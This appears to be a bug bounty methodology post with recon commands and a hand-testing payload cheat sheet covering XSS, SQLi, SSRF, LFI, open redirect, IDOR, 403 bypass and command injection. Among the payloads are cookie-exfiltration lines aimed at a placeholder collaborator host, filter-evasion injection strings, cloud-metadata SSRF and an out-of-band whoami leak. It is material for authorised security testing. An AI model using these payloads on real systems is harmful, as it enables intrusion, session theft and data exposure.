My bug bounty methodology: recon and testing
- #Bug bounty
- #Recon
- #Methodology

These are my notes for recon and testing. The first part is automated and finds targets. The second part is a list of payloads I try by hand. Only use them on systems you are allowed to test.
Subdomain Enumeration (Reconnaissance)
First I want to know which subdomains exist.
Passive Subdomain Enumeration
This only uses public sources and doesn’t touch the target’s servers.
# Passive Enumeration with Subfinder and Chaos
# Subfinder: Collects subdomains from passive sources like Cert Transparency Logs.
# Chaos: Leverages ProjectDiscovery's massive subdomain database (API key recommended).
subfinder -d domain.com -silent -o subdomains_subfinder.txt
chaos -d domain.com -silent -o subdomains_chaos.txt
# Merge and remove duplicates
cat subdomains_subfinder.txt subdomains_chaos.txt | sort -u > subdomains_passive_all.txt
Active Subdomain Enumeration & Custom Wordlist Creation
For brute-forcing I use ffuf, first with a standard wordlist and then with one built from the passive results.
# Active Enumeration with a standard wordlist (SecLists)
# -w: Wordlist path
# -u: URL with FUZZ placeholder (DNS brute-forcing)
ffuf -w /path/to/seclists/Discovery/DNS/subdomains-top1million-20000.txt:FUZZ -u http://FUZZ.domain.com -mc all -od subdomains_active_standard.txt
# Create and use a custom wordlist
# Isolate root names from passive results and append common terms
cat subdomains_passive_all.txt | sed 's/\.domain\.com//' | sort -u > sub_prefixes.txt
echo -e "admin\ndev\nstaging\ntest\ninternal\nbackup" >> sub_prefixes.txt
cat sub_prefixes.txt | sort -u | while read p; do echo $p.domain.com; done > subdomains_custom_wordlist.txt
# Active Enumeration with Custom Wordlist
ffuf -w subdomains_custom_wordlist.txt -u http://FUZZ -mc all -od subdomains_active_custom.txt
# Finalize Live Targets and Status Check
cat subdomains_passive_all.txt subdomains_active_standard.txt subdomains_active_custom.txt | sort -u > subdomains_raw.txt
# Use httpx to check for live hosts
# Crucial: Include 403 (Forbidden) as it indicates an existing asset that may be bypassed.
cat subdomains_raw.txt | httpx -silent -mc 200,301,302,403 -title -o live_targets.txt
Endpoint and Parameter Discovery
Next come the URLs and parameters, because that’s where the input goes in.
# Crawling with Katana and gau
# Katana: Crawls URLs and performs JavaScript analysis (-jc).
# gau: Gathers historical URLs.
katana -list live_targets.txt -jc -c 50 -silent -o urls_katana.txt
cat live_targets.txt | gau | httpx -silent -mc 200,301,302,403 -o urls_gau_live.txt
cat urls_katana.txt urls_gau_live.txt | sort -u > all_urls.txt
# Parameter Extraction (using ParamSpider for efficiency)
# ParamSpider extracts parameters from all gathered URLs.
paramspider -l all_urls.txt -o all_parameters_raw.txt
# Clean up and finalize the parameter list (extracts names only)
cat all_parameters_raw.txt | grep -Eo '(\?|\&)([^=]+)=' | sort -u | sed 's/[?&=]//g' > all_parameters.txt
Automated Vulnerability Scanning with Nuclei
Nuclei finds the common misconfigurations and exposed files, so I don’t have to look for them by hand.
# Scan all Live Targets for common weaknesses and exposures
# -t: Templates (cve, exposure, default-login, files, misconfiguration, panels, tech)
# -rl: Rate Limit
nuclei -l live_targets.txt -t cves,default-logins,exposures,file,misconfiguration,panels,security-misconfiguration,vulnerabilities -rl 50 -o nuclei_results.txt
Manual Vulnerability Testing
Now I go through the parameters by hand. For each type of vulnerability I keep a list of typical parameter names and payloads.
Cross-Site Scripting (XSS)
Description
The application puts user input into a page without encoding it properly, so an attacker can run JavaScript in the victim’s browser and, for example, take over the session.
Common Parameter Fields
q, search, query, text, value, name, input, lang, id, url, redirec
Basic Payloads
For the most common injection points and simple filters.
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
" onfocus="alert(1)" autofocus="
Advanced Payloads
To get around filters, or to send a cookie to a server you control (e.g. Burp Collaborator).
// JavaScript Context Breakout (e.g., in var name = "INJECTION")
// Uses Unicode encoding for quotes and breaks the string to execute code.
\u0027-alert(1)-\u0027
// Polygots for Filter Evasion (attempts to satisfy multiple parsers/contexts)
'';!--"<XSS>=&{()}
// Advanced Cookie Exfiltration (Sending cookies to Burp Collaborator or a logging service)
// NOTE: Fails if the cookie is HttpOnly.
'<img src="http://[YOUR_COLLABORATOR_ID]/?" onerror="this.src=\'http://[YOUR_COLLABORATOR_ID]/?c=\'+document.cookie;">'
// XHR Exfiltration (modern and stealthy)
'<script>fetch(\'http://[YOUR_COLLABORATOR_ID]/c.php\', {method:\'POST\',body:document.cookie})</script>'
SQL Injection (SQLi)
Description
User input ends up in a database query, so an attacker can change the query and read, modify or delete data.
Common Parameter Fields
id, user, uid, item, order, category, product, login, username, email
Basic Payloads
To provoke an error or make a condition always true.
-- Simple Apostrophe (to provoke a database error)
'
-- Basic Tautology (Authentication/Query Expansion Bypass)
' OR 1=1 --
" OR 1=1 --
-- Double Quotes (If the input is wrapped in double quotes in the backend)
"
Advanced Payloads
For blind SQLi and to get past a WAF.
-- Blind SQLi (Boolean-Based) Comparison
' AND 1=2 -- -- Compare response with ' AND 1=1 --
-- Blind SQLi (Time-Based) - MySQL example
' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) --
-- Blind SQLi (Time-Based) - PostgreSQL example
' AND 1=pg_sleep(5) --
-- WAF Bypass (Union Attack with Comments/Inlining)
-- Goal: Obfuscate the UNION SELECT command
' UNION /*!50000SELECT*/ NULL,database(),NULL --
Server-Side Request Forgery (SSRF)
Description
The server fetches a URL the attacker controls. That way you can reach internal hosts that aren’t available from outside.
Common Parameter Fields
url, uri, link, image, file, callback, webhook, src, endpoint, domain
Basic Payloads
To reach internal hosts and system files.
http://127.0.0.1/
http://localhost/
file:///etc/passwd
Advanced Payloads
To get around filters or talk to other protocols.
-- IP Address Encoding Bypass (Decimal Encoding for 127.0.0.1)
http://2130706433/
-- IP Address Encoding Bypass (Octal Encoding)
http://0177.0.0.1/
-- Cloud Metadata Access (AWS example)
http://169.254.169.254/latest/meta-data/
-- Gopher Scheme Exploitation (Used to interact with internal non-HTTP services like Redis or SMTP)
gopher://127.0.0.1:6379/_*RAW_PAYLOAD*
Local File Inclusion (LFI)
Description
The application includes a file whose path the attacker controls. That exposes configuration files, source code or system files like /etc/passwd.
Common Parameter Fields
file, path, page, include, document, mod, conf
Basic Payloads
For simple directory traversal and reading source code.
-- Basic Path Traversal (for Linux systems)
../../../../../../etc/passwd
-- Basic Path Traversal (for Windows systems)
../../../../../../windows/win.ini
-- Base64-encoded Source Code Disclosure (PHP filter)
php://filter/read=convert.base64-encode/resource=index.php
Advanced Payloads
To get around filters and make use of how PHP handles paths.
-- Null Byte Bypass (circumvents file extension appending in older PHP versions)
/etc/passwd%00
-- Directory Traversal Padding (defeats simple checks on initial '..')
....//....//....//....//....//....//etc/passwd
-- LFI via PHP Wrapper (to read source code via ROT13)
php://filter/read=string.rot13/resource=/etc/passwd
-- LFI Log Poisoning Vector (If access logs are known)
/var/log/apache2/access.log
Open Redirect
Description
The application redirects to a URL from user input without checking it. Attackers use this for phishing, because the link starts with a domain the victim trusts.
Common Parameter Fields
url, next, redirect, target, dest, goto, location
Basic Payloads
For the most common mistakes.
-- Simple External Redirect
https://domain.com/login?next=https://evil.com
-- Protocol-Relative URL (often bypasses simple checks for 'http' or 'https')
https://domain.com/login?next=//evil.com
-- Path Manipulation (if the parameter expects a path, not a full URL)
https://domain.com/login?next=/evil.com
Advanced Payloads
To get past a host check by confusing the URL parser.
-- Host-Based Bypass (Uses @ to confuse the parser)
https://domain.com/login?next=https://evil.com\@trusted.com
-- Encoding Bypass (Double URL Encoding)
https://domain.com/login?next=%252F%252Fevil.com
-- Parameter Manipulation (Adding fragments or query parts to bypass validation)
https://domain.com/login?next=//evil.com/%2f..
Broken Access Control (IDOR)
Description
The application doesn’t check whether you are allowed to do something. The classic is IDOR: you change an ID in the request and get another user’s data.
Common Parameter Fields
id, user_id, account_id, order_no, Path values (/user/123/edit)
Basic Payloads
For access to another user’s data (horizontal) or to admin functions (vertical).
-- Horizontal IDOR (Changing a user's own resource ID to another user's ID)
GET /api/v1/user/456/profile (Changing ID from 123 to 456)
-- Numeric ID Iteration (If IDs are sequential)
Change id=1 to id=2, id=3, etc.
-- Vertical Access (Attempting to access an admin endpoint)
GET /api/v1/admin/dashboard
Advanced Payloads
For encoded IDs and mass assignment.
-- Base64 ID Manipulation
-- Decode the Base64 ID, increment the underlying numeric value, and re-encode.
dXNlcj0xMjM= -> (Decode) user=123 -> (Modify) user=124 -> (Encode) dXNlcj0xMjQ=
-- JSON Array/Batching (Testing for flawed bulk processing logic)
-- Change single ID to an array of IDs:
{"user_id": 123} -> {"user_id": [123, 456]}
-- Mass Assignment/Attribute Manipulation (Adding a privileged field to the request body)
-- Add a non-expected field in the JSON or form data:
{"username": "attacker"} -> {"username": "attacker", "is_admin": true}
403 Forbidden Bypass Techniques
Description
A 403 usually means the resource exists but you’re not allowed to see it. Sometimes the check only covers one way of asking, so it’s worth trying others.
Bypass Techniques
Other methods, paths and headers that the check might not cover.
-- HTTP Method Tampering (Try allowed methods, e.g., PUT or POST)
PUT /admin/users (Original was GET /admin/users)
-- Path Normalization (Using directories or characters that the server normalizes)
GET /admin/./
GET /admin/..;/
GET /admin%2f
-- Header Fuzzing (Simulating an internal request or a trusted user)
X-Forwarded-For: 127.0.0.1
X-Original-URL: /admin/users
X-Custom-IP-Authorization: 127.0.0.1
-- HTTP Version Switch (Sometimes bypasses WAF rules tied to HTTP/1.1)
Use HTTP/1.0 or HTTP/2
Command Injection
Description
The application passes user input to a shell command, so an attacker can run their own commands on the server.
Common Parameter Fields
cmd, exec, source, filename, ip, host
Basic Payloads
Chaining a second command to the first.
-- Linux/Unix Basic Chaining
127.0.0.1; ls -la
127.0.0.1 && whoami
127.0.0.1 | cat /etc/passwd
-- Windows Basic Chaining
127.0.0.1 & whoami
127.0.0.1 && dir c:\
Advanced Payloads
To get around filters, and for blind injection where you don’t see the output.
-- No-Space Injection (Uses $IFS or curly braces to avoid space filtering)
127.0.0.1;ls$IFS-la
127.0.0.1;cat${IFS}/etc/passwd
-- Blind Time Delay (Proving execution without output)
127.0.0.1; sleep 5
-- Out-of-Band (OOB) Testing - DNS Lookup (Proves execution by checking logs on an external server)
-- Replace [YOUR_COLLABORATOR_ID] with your external OOB domain (e.g., Burp Collaborator)
127.0.0.1; ping -c 1 `whoami`.`YOUR_COLLABORATOR_ID`